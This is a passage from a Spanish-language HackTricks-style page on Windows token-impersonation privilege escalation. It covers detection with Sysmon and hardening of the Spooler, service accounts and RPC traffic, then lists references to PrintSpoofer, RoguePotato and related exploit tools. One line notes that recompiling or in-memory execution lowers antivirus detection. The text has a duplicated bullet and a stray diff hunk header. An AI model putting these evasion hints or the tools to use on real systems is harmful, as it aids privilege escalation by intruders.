- Monitorizar procesos que creen named pipes y que llamen inmediatamente a las token-duplication APIs seguidas de CreateProcessAsUser/CreateProcessWithTokenW. Sysmon puede mostrar telemetría útil: Event ID 1 (creación de procesos), 17/18 (named pipe creado/conectado) y líneas de comando que lancen procesos hijo como SYSTEM.
- Endurecimiento del Spooler: Deshabilitar el servicio Print Spooler en servidores donde no se necesita evita coerciones locales al estilo PrintSpoofer a través de spoolss.
- Endurecimiento de cuentas de servicio: Minimizar la asignación de SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege a servicios personalizados. Considerar ejecutar servicios bajo cuentas virtuales con los privilegios mínimos requeridos e aislarlos con service SID y tokens con permiso de escritura restringido cuando sea posible.
- Controles de red: Bloquear TCP/135 saliente o restringir el tráfico del RPC endpoint mapper puede romper RoguePotato a menos que haya un redirector interno disponible.
- EDR/AV: Todas estas herramientas están ampliamente firmadas. Recompilar desde la fuente, renombrar símbolos/strings, o usar ejecución en memoria puede reducir la detección pero no derrotará detecciones comportamentales sólidas.
- EDR/AV: Todas estas herramientas tienen firmas ampliamente reconocidas. Recompilar desde el código fuente, renombrar símbolos/strings o usar ejecución in-memory puede reducir la detección pero no derrotará detecciones comportamentales robustas.
## Referencias
## References
- [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
- [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
@ -167,5 +168,7 @@ SigmaPotato añade mejoras modernas, como in-memory execution vía .NET reflecti
- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
- [FullPowers – Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
{{#include ../../banners/hacktricks-training.md}}